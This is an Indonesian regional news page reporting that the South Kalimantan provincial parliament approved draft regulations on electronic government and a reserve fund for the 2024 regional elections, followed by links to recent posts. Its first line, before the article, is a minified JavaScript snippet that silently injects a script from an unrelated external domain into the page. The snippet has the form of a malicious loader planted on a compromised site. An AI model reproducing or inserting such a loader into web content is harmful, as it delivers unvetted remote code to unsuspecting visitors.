(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dewan Setujui Raperda SPBE dan Dana Cadangan Pilkada 2024Â


KANALKALIMANTAN.COM, BANJARMASIN – Seluruh Fraksi DPRD Kalsel memberikan persetujuan terkait Rancangan Peraturan Daerah (Raperda) Penyelenggaraan Sistem Pemerintah Berbasis Elektronik (SPBE) dan Raperda Pembentukan Dana Cadangan Pilkada 2024 untuk ditetapkan menjadi Peraturan Daerah (Perda).

Hal itu terungkap dalam Rapat Paripurna DPRD Kalsel di Ruang Rapat H Mansyah, Kamis (22/7/21). Raperda mengenai dana cadangan Pilkada 2024 khususnya, merupakan usul Pemprov Kalsel.

Sebelumnya, Senin (19/7/21), Pj Gubernur Kalsel Safrizal ZA, menjelaskan Kalsel akan melaksanakan Pemilihan Kepala Daerah dan Wakil Kepala Daerah secara serentak pada tahun 2024. Hal demikian membutuhkan alokasi anggaran yang cukup besar, sehingga perlu persiapan mekanisme dana cadangan.

Menanggapi Raperda tersebut, seluruh Fraksi DPRD Kalsel menyatakan dukungannya. Perwakilan dari Partai Kebangkitan Bangsa, Suripno Sumas, juga menyampaikan beberapa saran.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Tembus 650 Orang, Banjarmasin Sumbang 245 Kasus!

“Jumlah yang dianggarkan harus proporsional sehingga tidak menimbulkan beban yang terlalu besar bagi APBD,” paparnya.

Terkait Raperda SPBE Aris Gunawan, perwakilan dari Partai Gerindra turut mengungkapkan dukungannya.

“Kami menyambut baik untuk dilaksanakan prinsip good governance,” ucapnya.

Sekdaprov Kalsel Roy Rizali Anwar, hadir mewakili Pj Gubernur Kalsel Safrizal ZA. Dalam rapat tersebut, juga disampaikan pendapat gubernur terhadap Raperda Manajemen Jalan dan Fasilitas Pendidikan Tinggi.

Menurut Roy Rizali, jika menyangkut kewenangan pemerintah pusat, maka arahan pemerintah pusat sangat diperlukan.

“Agar pada saat kedua Raperda ini ditetapkan menjadi Perda, benar-benar implementatif. Serta tidak menimbulkan tumpang tindih pengaturan dengan kebijakan pusat,” jelasnya.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.